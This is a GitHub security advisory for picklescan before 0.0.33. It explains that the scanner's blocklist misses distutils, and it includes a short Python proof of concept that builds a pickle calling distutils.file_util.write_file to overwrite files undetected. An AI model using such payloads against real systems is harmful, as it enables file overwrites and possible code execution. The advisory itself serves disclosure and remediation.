GitHub Advisoryadvisory · PyPI
GHSA-m273-6v24-x4m4 Picklescan vulnerable to Arbitrary File Writing
HIGH
Official page ↗
- Aliases
- CVE-2025-71321
- Ecosystem
- PyPI
- Packages
- picklescan
- Severity
- High
- CVSS vector
- CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:P
- Weaknesses
- CWE-502, CWE-552
- Reviewed
- 2025-12-29
Affected packages
• PyPI picklescan: < 0.0.33 → fixed in 0.0.33
Description
Summary
Picklescan has got open() and shutil in its default dangerous blocklist to prevent arbitrary file overwrites. However the module distutils isnt blocked and can be used for the same purpose ie to write arbitrary files.
Details
This is another vulnerability which impacts the downstream user.
By constructing a pickle that user distutils.file_util.write_file, an attacker can overwrite critical system files (like .ssh/authorized_keys, web server configurations, or source code) to achieve DoS or escalate to RCE.
PoC
```python
import pickle
import distutils.file_util
class FileWriteBypass:
def __reduce__(self):
target_file = "pwned_config.env"
content = ["print('I have overwritten your config')"]
return (distutils.file_util.write_file, (target_file, content))
payload = pickle.dumps(FileWriteBypass())
with open("bypass_filewrite.pkl", "wb") as f:
f.write(payload)
print("bypass_filewrite.pkl")
```
To fix this just add disutil to the blacklist
Related
Alias · CVE (1)
- CVE-2025-71321 picklescan before 0.0.33 contains an arbitrary file writing vulnerability that allows attackers to bypass the dangerous blocklist by using… vulnerability
References
- https://github.com/mmaitre314/picklescan/security/advisories/GHSA-m273-6v24-x4m4 web
- https://nvd.nist.gov/vuln/detail/CVE-2025-71321 advisory
- https://github.com/mmaitre314/picklescan/pull/53 web
- https://github.com/mmaitre314/picklescan/commit/70c1c6c31beb6baaf52c8db1b6c3c0e84a6f9dab web
- https://github.com/mmaitre314/picklescan package
- https://github.com/mmaitre314/picklescan/releases/tag/v0.0.33 web
- https://www.vulncheck.com/advisories/picklescan-arbitrary-file-writing-via-distutils-module-bypass web